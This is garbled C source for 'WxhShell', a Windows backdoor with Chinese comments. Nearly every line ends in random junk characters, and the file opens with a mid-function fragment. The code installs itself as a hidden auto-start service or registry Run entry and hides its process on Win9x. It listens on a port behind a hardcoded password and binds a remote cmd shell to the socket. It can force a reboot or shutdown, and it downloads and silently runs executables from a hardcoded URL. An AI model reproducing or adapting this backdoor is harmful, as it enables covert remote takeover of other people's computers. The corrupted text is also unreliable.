    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xx_tpC?  
    if(Boot(SHUTDOWN)) A_Rrcsl4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tAERbiH  
    else { Lbcy:E*g  
    closesocket(wsh); k@yh+v5  
    ExitThread(0); ,]ga[  
    } 30s; }  
    break; D93gH1z  
    } =J](.78  
  // 获取shell * r;xw  
  case 's': { xYPxg!  
    CmdShell(wsh); eTT) P  
    closesocket(wsh); #.H}r6jqs  
    ExitThread(0); $E\^v^LW  
    break; h$>wv`  
  } }9^@5!qX  
  // 退出 qw<HY$3=  
  case 'x': { b?8)7.{F{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -jB3L:  
    CloseIt(wsh); /N6}*0Ru  
    break; &kzj?xK=(j  
    } vy [C'a  
  // 离开 -}P7$|O &  
  case 'q': {  S(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s3:9$.tiR[  
    closesocket(wsh); ygzxCn|#  
    WSACleanup(); 1'JD=  
    exit(1); E"6X|I n  
    break; XRxj  W  
        } rOcg+5  
  } 8PBvV[  
  } eVJ^\z:4  
"hQgLG  
  // 提示信息 po7>IQS]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PX2c[CDE^  
}  U>a\j2I  
  } Rko M~`CT  
,6{iT,~@8  
  return; D=+NxR[  
} Dd,2;#_  
S\*`lJzPM  
// shell模块句柄 sOpep  
int CmdShell(SOCKET sock) %%JMb=!%2  
{ %\Wf^6Y^  
STARTUPINFO si; Gh\q^?}  
ZeroMemory(&si,sizeof(si)); 5T?-zFMM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; te,[f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yK%ebq]  
PROCESS_INFORMATION ProcessInfo; 4a''Mi`u  
char cmdline[]="cmd"; "@/62b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hgj <>H|  
  return 0; 'xE _Cj  
} Fmr}o(q1  
yN6>VD{F  
// 自身启动模式  Vzl^Ka'  
int StartFromService(void) !.TLW  
{ :O= \<t  
typedef struct wW>fVP r  
{ @~ETj26U'  
  DWORD ExitStatus; 2%u;$pj  
  DWORD PebBaseAddress; V[nQQxWp=  
  DWORD AffinityMask; i+{yMol1  
  DWORD BasePriority; T'H::^9:E  
  ULONG UniqueProcessId; hA1-){aw3q  
  ULONG InheritedFromUniqueProcessId; .(CP. d  
}   PROCESS_BASIC_INFORMATION; {{yZ@>o6  
=] C]=  
PROCNTQSIP NtQueryInformationProcess; rXfy!rD_P_  
?OlV"zK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7msAhz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $F'>yop2b  
DA&?e~L&H  
  HANDLE             hProcess; Np+&t}  
  PROCESS_BASIC_INFORMATION pbi; RQB 4s^t  
36.N>G,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JW.=T)  
  if(NULL == hInst ) return 0; 9f+>ix,ek*  
C3NdE_E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \ZU1J b1c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); umi5Wb<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \QE)m<GUe  
^= 0m-/  
  if (!NtQueryInformationProcess) return 0; ]X Z-o>+ ,  
%zk$}}ti.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y!J>U  
  if(!hProcess) return 0; 7R!5,Js+  
??60,m:]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ={>Lrig:l  
$37 g]ZD  
  CloseHandle(hProcess); %ru;;h  
qMt++*Ls  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R:Q0=PzDi#  
if(hProcess==NULL) return 0; L2Pujk  
uvP2Wgt  
HMODULE hMod; YjOs}TD lx  
char procName[255]; ' Z0r>.  
unsigned long cbNeeded; jw<pK4?y  
_WXtB#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l>*"mh  
y\dEk:\)  
  CloseHandle(hProcess); %\|'%/"`2(  
o6 E!IX+  
if(strstr(procName,"services")) return 1; // 以服务启动  Jc&y9]  
lKZB?Kk^w\  
  return 0; // 注册表启动 B33$pUk  
} 4lhw3,5  
Tm_B^ W}  
// 主模块 b2b?hA'k  
int StartWxhshell(LPSTR lpCmdLine) <Rh6r}f  
{ r}[7x]sP  
  SOCKET wsl; J:&[ 59  
BOOL val=TRUE; 26T"XW'_  
  int port=0; ] e. JNo  
  struct sockaddr_in door; ^uv<6  
mKo C.J  
  if(wscfg.ws_autoins) Install(); [ i#zP  
4vBL6!z:Z  
port=atoi(lpCmdLine); ~ .;<  Bj  
;JZS^Wa  
if(port<=0) port=wscfg.ws_port; y E[#ze  
r'QnX;99T  
  WSADATA data; ok|qyN+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V,rq0xW  
3gd&i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OO[F E3F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -'~ LjA(  
  door.sin_family = AF_INET; <! )**  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hx ,0zS%>  
  door.sin_port = htons(port); ~/.7l8)  
$!&*xrrNM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { orOt>5}b<  
closesocket(wsl); y ]?V~%  
return 1; "Ph^BU Ab  
} Na X   
?QE,;QtpK  
  if(listen(wsl,2) == INVALID_SOCKET) { |2{wG 4  
closesocket(wsl); @E:,lA  
return 1; ?-^~f  
} E@7J:|.)R  
  Wxhshell(wsl); ,#pXpAz/  
  WSACleanup(); 0RoU}r@z4  
^Q+g({  
return 0; {e|[%reSkg  
Z+@2"%W  
} E Cyyl  
\hCH>*x<  
// 以NT服务方式启动 {%_L=2n6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "etPT@gF  
{ j~*L~7  
DWORD   status = 0; 8#vc(04(  
  DWORD   specificError = 0xfffffff; / X1 x  
_a1x\,R|DB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N<~ku<nAU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uu`G 2[t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F_CYYGZ  
  serviceStatus.dwWin32ExitCode     = 0; 72'5%*1  
  serviceStatus.dwServiceSpecificExitCode = 0; pR~U`r5z  
  serviceStatus.dwCheckPoint       = 0; 8<Hf" M  
  serviceStatus.dwWaitHint       = 0; CHz+814  
_4g.j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eUg~)m5G  
  if (hServiceStatusHandle==0) return; e=.]F*:J  
ght$9>'n  
status = GetLastError(); VNY%R,6  
  if (status!=NO_ERROR) <>Hj ;q5p  
{ (DI>5.x"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6'FdGS  
    serviceStatus.dwCheckPoint       = 0; Cg(Y&Gxf.  
    serviceStatus.dwWaitHint       = 0; X 7rMeu  
    serviceStatus.dwWin32ExitCode     = status; uC cYPvm  
    serviceStatus.dwServiceSpecificExitCode = specificError; SJHr_bawd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NU0g07"  
    return; F]<Xv"  
  } o_~eg8  
?nL.w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d@qsdYu-*  
  serviceStatus.dwCheckPoint       = 0; d QqK^#  
  serviceStatus.dwWaitHint       = 0; Oeok ;:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :\|SQKD  
} 9E6_]8rl  
`E>1>'  
// 处理NT服务事件,比如:启动、停止 Ig f&l`\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RN e^; B  
{ 76`8=!]R  
switch(fdwControl) }9FSO9*&}  
{ 3U0`,c\ao*  
case SERVICE_CONTROL_STOP: [C'JH//q*t  
  serviceStatus.dwWin32ExitCode = 0; ?U2<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9?SZNL['V  
  serviceStatus.dwCheckPoint   = 0; U[ 0=L`0e  
  serviceStatus.dwWaitHint     = 0; va0{>Dc+  
  { jEZMUqGY!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eq j_m|@  
  } Ys\Wj%6A  
  return; '!eKTC>  
case SERVICE_CONTROL_PAUSE: oaIi2=Tf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ):[7E(F=  
  break; o{y9r{~A  
case SERVICE_CONTROL_CONTINUE: :0Rx#%u}#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E4M@WNPx  
  break; uo@n(>}EL  
case SERVICE_CONTROL_INTERROGATE: '2 PF  
  break; fR(d  
}; QD0"rxZJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?M\{&mlF  
} U`2e{>'4t  
;5659!;  
// 标准应用程序主函数 LhA/xf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pu2 tY7J a  
{ )mF5Vw"  
@}}$zv6l,  
// 获取操作系统版本 ;6>2"{NW  
OsIsNt=GetOsVer(); e?8HgiP-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '/^qJ7eb  
7+\+DujE$  
  // 从命令行安装 ;)D];u|_  
  if(strpbrk(lpCmdLine,"iI")) Install(); xHD=\,{ig  
2#c<\s|C  
  // 下载执行文件 ww], y@da  
if(wscfg.ws_downexe) { JzQ)jdvp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +%ee8|\  
  WinExec(wscfg.ws_filenam,SW_HIDE); |#]@Z)xa  
} X:vghOt?  
w5Y04J  
if(!OsIsNt) { u>2 l7PA|  
// 如果时win9x,隐藏进程并且设置为注册表启动 3h$6t7=C  
HideProc(); < HVl(O  
StartWxhshell(lpCmdLine); ]~'5\58sP  
} E87Ww,z8  
else tMf}   
  if(StartFromService()) 3=aQG'B  
  // 以服务方式启动 Mygf T[_  
  StartServiceCtrlDispatcher(DispatchTable);  W\d{a(*  
else =T HpdtL  
  // 普通方式启动 fSK]|"c  
  StartWxhshell(lpCmdLine); ]:XoRyIZ1[  
Rh_np  
return 0; n\*!CXc  
} |)(VsVG&  
E&2OD [iX  
X=5xh  
u)}$~E>  
=========================================== UC]\yUK1J  
-p]1=@A<}  
dfKF%27  
gOSJM1Mr3  
Enum/O5  
vHry&#Pl+  
" VVac:  
+ElfZ4  
#include <stdio.h> "{@A5A  
#include <string.h> g jDh?I  
#include <windows.h> 1OCeN%4]Qk  
#include <winsock2.h> o<BOYrS  
#include <winsvc.h> ?!A7rb/tj  
#include <urlmon.h> 5m\<U`  
8']M^|1  
#pragma comment (lib, "Ws2_32.lib") e7Xeo+/  
#pragma comment (lib, "urlmon.lib") q&s3wDl/  
,(d) Qg  
#define MAX_USER   100 // 最大客户端连接数 Wbr|_W  
#define BUF_SOCK   200 // sock buffer !t$'AoVBq  
#define KEY_BUFF   255 // 输入 buffer 2Rw&C6("w  
sFT.Oxg<  
#define REBOOT     0   // 重启 \<JSkr[h!"  
#define SHUTDOWN   1   // 关机 >s>1[W@*  
8i>ZY  
#define DEF_PORT   5000 // 监听端口 R!\_rc1/  
v1o#1;  
#define REG_LEN     16   // 注册表键长度 3er nTD*`  
#define SVC_LEN     80   // NT服务名长度 xjfV?B'Y}V  
DFZkh^PFd  
// 从dll定义API Uc7mOa}4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5D\f8L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <"{qk2LS1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F U_jGwD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nw-xSS{  
ALrw\qV  
// wxhshell配置信息 g7}Gip}.>  
struct WSCFG { ;X?}x%$  
  int ws_port;         // 监听端口 ML w7}[  
  char ws_passstr[REG_LEN]; // 口令 Ixb=L (V  
  int ws_autoins;       // 安装标记, 1=yes 0=no G`SUxhCk  
  char ws_regname[REG_LEN]; // 注册表键名 =XA;[PVx:#  
  char ws_svcname[REG_LEN]; // 服务名 Oft-w)cYz,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c`J.Tm[_u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K&POyOvT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O@u?h9?cf>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jF ^~p9z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" msP{l^%0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rID#`:Hl-|  
EN$2,qf  
}; K-bD<X  
*W.C7=  
// default Wxhshell configuration ?k]2*}bz  
struct WSCFG wscfg={DEF_PORT, >zw.GwN|  
    "xuhuanlingzhe", q*U*Fu+  
    1, $Z.7zH  
    "Wxhshell", nxUJN1b!N  
    "Wxhshell", _-q.Q^  
            "WxhShell Service", pWy=W&0~qf  
    "Wrsky Windows CmdShell Service", YLqGRE`W  
    "Please Input Your Password: ", $bW3_rl%X  
  1,  f\]sz?KY  
  "http://www.wrsky.com/wxhshell.exe", _,p/l&<  
  "Wxhshell.exe" $+P>~X)  
    }; ?oVx2LdD|  
S=5<^o^h3  
// 消息定义模块 OVm\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X &uTSgN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AJh w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1n=lqn/  
char *msg_ws_ext="\n\rExit."; &~8oQC-eF  
char *msg_ws_end="\n\rQuit."; N >FKy'.gk  
char *msg_ws_boot="\n\rReboot..."; uD\?(LM  
char *msg_ws_poff="\n\rShutdown..."; <v)1<*I  
char *msg_ws_down="\n\rSave to "; DK$X2B"cV  
JLnH&(O  
char *msg_ws_err="\n\rErr!"; RHmgD;7`  
char *msg_ws_ok="\n\rOK!"; >"|B9Woc  
%SX|o-B~.o  
char ExeFile[MAX_PATH]; \n$u)Xj~6^  
int nUser = 0; h]Wr [v  
HANDLE handles[MAX_USER]; 4lr(,nPRD  
int OsIsNt; I KqQ>Z-q~  
H\h3 TdL  
SERVICE_STATUS       serviceStatus; $w)!3c4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1;C+$  
=Q+;=-1  
// 函数声明 NG--6\  
int Install(void); n,jKmA  
int Uninstall(void); hlV=qfc  
int DownloadFile(char *sURL, SOCKET wsh); igkYX!0#8O  
int Boot(int flag); Wi*.TWz3  
void HideProc(void); Gr7=:+0n|P  
int GetOsVer(void); e5*ni/P  
int Wxhshell(SOCKET wsl); g l^<Q  
void TalkWithClient(void *cs); gW^VVbB'L  
int CmdShell(SOCKET sock); Yk)."r&?  
int StartFromService(void); w$+&3t  
int StartWxhshell(LPSTR lpCmdLine); a6D &/8  
q;R],7Re  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;|p BFKx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,=UK}*e"  
E0Y-7&Fv  
// 数据结构和表定义 Tu$f?  
SERVICE_TABLE_ENTRY DispatchTable[] = WlB  
{ b<a4'M  
{wscfg.ws_svcname, NTServiceMain}, 24E}<N,g  
{NULL, NULL} /JFUU[W  
}; ",^Mxm{  
ZjgsR|i  
// 自我安装 ?j40} B]]d  
int Install(void) R@/"B8H  
{ d9B]fi}  
  char svExeFile[MAX_PATH]; GR +[UG  
  HKEY key; z2MWN\?8  
  strcpy(svExeFile,ExeFile); :# .<[  
u])b,9&En  
// 如果是win9x系统,修改注册表设为自启动 W~zbm]  
if(!OsIsNt) { v9:9E|,U+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { le1}0 L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C69q&S,  
  RegCloseKey(key); HW=C),*]cR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6eT5ktf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]ro*G"-_1#  
  RegCloseKey(key); SLkhCR  
  return 0; VRI0W`  
    } Jbjmv: db  
  } [Grxw[(_:  
} T+*%?2>q"  
else { 6%t1bM a  
!D@ZYK;  
// 如果是NT以上系统,安装为系统服务 i&5XF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H=g`hF]`  
if (schSCManager!=0) G+%zn|  
{ M@`;JjtSA  
  SC_HANDLE schService = CreateService I$<<(VWH  
  ( ;g@4|Ro  
  schSCManager, T?x[C4wf+  
  wscfg.ws_svcname, 8dO!  
  wscfg.ws_svcdisp, &7`^i.fh)  
  SERVICE_ALL_ACCESS, YpH&<$x:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S'4(0j  
  SERVICE_AUTO_START, rf?qdd(~cH  
  SERVICE_ERROR_NORMAL, UaWl6 Y&Vu  
  svExeFile, "Q!(52_@J  
  NULL, |2RC#]/-Y  
  NULL, ,eTUhK  
  NULL, I(V!Mv8j  
  NULL, 6kNrYom  
  NULL !9[>L@#G  
  ); _I)U%? V+  
  if (schService!=0) {4G%:09~J  
  { *pSQU=dmS  
  CloseServiceHandle(schService); [3(7  4  
  CloseServiceHandle(schSCManager); + Af"f' )  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [U5\bX@$  
  strcat(svExeFile,wscfg.ws_svcname); pimtiQqC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AyNI$Q6Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U^Q:Y}^  
  RegCloseKey(key); M-1ngI0H;  
  return 0; fz\9 S  
    } t"= E^r  
  } XZ sz/#  
  CloseServiceHandle(schSCManager); mVVD!  
} +3BBQ+x!  
} 8zRP (+&W  
sejg&8  
return 1; )/pU.Z/  
} DVSL [p?_  
0s/w,?  
// 自我卸载 Hkwl>R$  
int Uninstall(void) E^.nc~  
{ 5Ow[~p"l<  
  HKEY key; MUTj-1H6)  
(Tn- >).AO  
if(!OsIsNt) { do*EKo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \#Pfj &*  
  RegDeleteValue(key,wscfg.ws_regname); )Xv ilCk1  
  RegCloseKey(key); )L#i%)+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !a7[ 8&  
  RegDeleteValue(key,wscfg.ws_regname); l038%U~U!  
  RegCloseKey(key); h|,:e;>}  
  return 0; 6LalW5I  
  } BI3@|,._N  
} Lv| q  
} N"]q='t  
else { .NYbi@bk(<  
-I&m:A$4*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )%`^xR  
if (schSCManager!=0) fA+ ,TEB~d  
{ v2B0q4*BS?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =<?+#-;p  
  if (schService!=0) j@SQ~AS  
  { $npT[~U5  
  if(DeleteService(schService)!=0) { Dp)=0<$y  
  CloseServiceHandle(schService); sg$rzT-S4  
  CloseServiceHandle(schSCManager); Tk5W'p|6f  
  return 0; j!U-'zJ  
  } /ro=?QYb  
  CloseServiceHandle(schService); f33l$pOp  
  } - `p4-J!Fy  
  CloseServiceHandle(schSCManager); ] Hztb  
} L*&p !  
} :I+Gu*0WD  
xa<UM5eI  
return 1; n)^i/ nXb'  
} [_1G@S6Ex  
PE5R7)~A  
// 从指定url下载文件 +RyjF~  
int DownloadFile(char *sURL, SOCKET wsh) VXR>]HUF  
{ "#{4d),r  
  HRESULT hr; z^#;~I @M  
char seps[]= "/"; KX'{[7}m'  
char *token; *7ZN]/VRT  
char *file; X]wRwG  
char myURL[MAX_PATH]; ]pH-2_  
char myFILE[MAX_PATH]; 7?GIS '  
P:k>aHnW  
strcpy(myURL,sURL); 5h Q E4/hH  
  token=strtok(myURL,seps); xI($Uu}S  
  while(token!=NULL) Exc9` 7%.  
  { +^=8ge}  
    file=token; L?WFm n  
  token=strtok(NULL,seps); inh=WUEW  
  } ;C3US)j  
jRJn+  
GetCurrentDirectory(MAX_PATH,myFILE); e?JW   
strcat(myFILE, "\\"); 7 "20hAd  
strcat(myFILE, file); o<COm9)i  
  send(wsh,myFILE,strlen(myFILE),0); }BZ"S-hZ  
send(wsh,"...",3,0); gW)3e1a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gd-'Z_b  
  if(hr==S_OK) WtG~('g>&  
return 0; cx&>#8s&  
else k1{K*O$e  
return 1; g# Sl %Y  
aMWmLpv4'  
} =5/9%P8j9  
WST8SEzJ  
// 系统电源模块 bdC8zDD  
int Boot(int flag) IsZHe lg  
{ Xejo_SV&?  
  HANDLE hToken; K/i*w<aPb7  
  TOKEN_PRIVILEGES tkp; HCyv]LR  
]x RM&=)<  
  if(OsIsNt) { (tIo:j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eJxw) zd7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $c]fPt"i  
    tkp.PrivilegeCount = 1; fGUE<l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wy0tgy(' |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bM{s T"  
if(flag==REBOOT) { k5:G-BQ:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i~I%D%;  
  return 0; M+U9R@  
} DI:]GED" =  
else { Si8pzd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AgS 7J(^&3  
  return 0; Al}6q{E9+8  
} b\yXbyjZ3.  
  } _I@9HC 4  
  else { 0AZ")<^~7  
if(flag==REBOOT) { (s.0P O`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &,zq%;-f  
  return 0; 9oYgl1}d  
} 2oVSn"  
else { zHA!%>%'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fmU {  
  return 0; RL!Oi|8  
} 5gYRwuf  
} T|nDTezr  
39:bzUIF  
return 1; J!c)s!`w  
} /rWd=~[MO  
pMw*9s X  
// win9x进程隐藏模块 S\:P-&dC  
void HideProc(void) Q# ~Q=T'<  
{ Ag9vU7  
|2O]R s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 24 [+pu  
  if ( hKernel != NULL ) f(/lLgI(  
  { 6 Q%jA7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8I lunJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gr*r=s  
    FreeLibrary(hKernel); 6wBx;y |  
  } BmbyH{4  
cqQ#p2<%  
return; o_XflzC  
} .c8g:WB<  
C'9Cr}cZ.  
// 获取操作系统版本 arIf'CG6  
int GetOsVer(void) a =J^  
{ uxXBEq;  
  OSVERSIONINFO winfo; J%u=Ucdh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0(eB ZdRO  
  GetVersionEx(&winfo); a L} % 2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2;k*@k-t  
  return 1; Sdp&jZY  
  else x-$&g*<  
  return 0; VJeu 8ZJ.  
} 94h]~GqNi  
&v56#lG  
// 客户端句柄模块 [4YTDEv%  
int Wxhshell(SOCKET wsl) XW[j!`nlk  
{ NP0\i1P>.?  
  SOCKET wsh; sd*p/Q|4  
  struct sockaddr_in client; wo4;n9@I  
  DWORD myID; /a{la8Ni  
} df W%{  
  while(nUser<MAX_USER) qB5j;@ r  
{ D9<!mH  
  int nSize=sizeof(client); zNs55e.rx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `.E[}W  
  if(wsh==INVALID_SOCKET) return 1; t)~"4]{*}D  
tI`Q/a5@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *1 uKr9  
if(handles[nUser]==0) 51#_Vg  
  closesocket(wsh); =m!-m\B/  
else pV9IHs}  
  nUser++; ZGBd%RWjG_  
  } /kE6@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ynq}76 H0k  
T/b6f;t-s  
  return 0; 0]'7_vDs|  
} \.0^n3y  
VU#`oJ:{  
// 关闭 socket 3-[q4R  
void CloseIt(SOCKET wsh) 7r7YNn/?  
{ 'H3^e}   
closesocket(wsh); @ju@WY45$^  
nUser--; rNrxaRQ  
ExitThread(0); RmI]1S_=  
} <lgYcdJ   
u8'Zl8 g  
// 客户端请求句柄 Tl%`P_J)-S  
void TalkWithClient(void *cs) I& 2c&yO  
{ IshKH -  
' KP@W9j  
  SOCKET wsh=(SOCKET)cs; n&L+wqJ  
  char pwd[SVC_LEN]; 4;w;'3zq  
  char cmd[KEY_BUFF]; sQ=]NF)\  
char chr[1]; hB "fhX  
int i,j; tWJZoD6}h  
2POXj!N  
  while (nUser < MAX_USER) { 44gPCW,u  
cA2V2S)  
if(wscfg.ws_passstr) { - \ 5v^l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O@tU.5*$5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?h3Y)5xT  
  //ZeroMemory(pwd,KEY_BUFF); 9{'N{  
      i=0; aAZZ8V  
  while(i<SVC_LEN) { }{,^@xdyW  
FTX=Wyr  
  // 设置超时 &4{KV.  
  fd_set FdRead; :nh_k4S@v  
  struct timeval TimeOut; ? }Z1bH  
  FD_ZERO(&FdRead); q]\:P.x!>  
  FD_SET(wsh,&FdRead); fX(3H1$"  
  TimeOut.tv_sec=8; {'N Z.  
  TimeOut.tv_usec=0; ls_'')yp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cL-[ZvyVX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }QN1|mP2  
NvD7Krqwa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sj-n;F|=X  
  pwd=chr[0]; FTH|9OP  
  if(chr[0]==0xd || chr[0]==0xa) { bbtGXfI+SB  
  pwd=0; )YYf1o[+  
  break; )#EGTRdo  
  } g%ndvdb m  
  i++; yd^ {tQi  
    } + @A  
Rvkedb  
  // 如果是非法用户,关闭 socket ^T( .k=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T%x}Y#U'`  
} |Z|-q"Rf  
|+"<wEKI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nii A7Ux  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ySk R>y  
sz5MH!/PJ  
while(1) { fWCo;4<5?  
2n,*Nd`  
  ZeroMemory(cmd,KEY_BUFF); ~De"?  
+s"hqm  
      // 自动支持客户端 telnet标准   ,QOG!T4  
  j=0; +cD<:"L'g  
  while(j<KEY_BUFF) { XpIklL7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Km%]1X7T6  
  cmd[j]=chr[0]; P!~MZ+7#&  
  if(chr[0]==0xa || chr[0]==0xd) { GSY(  
  cmd[j]=0; QEm|])V  
  break; d)"3K6s|5  
  } 6~0$Z-);(  
  j++; Z_PNI#h*  
    } bADnW4N`6;  
8J*"%C$qe  
  // 下载文件 TIx|L  
  if(strstr(cmd,"http://")) { [=x[ w70  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @v$Y7mw3D  
  if(DownloadFile(cmd,wsh)) bo<~jb{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q?,).x nN  
  else kJWn<5%ayg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K}2Erm%A@y  
  } !ds"9w  
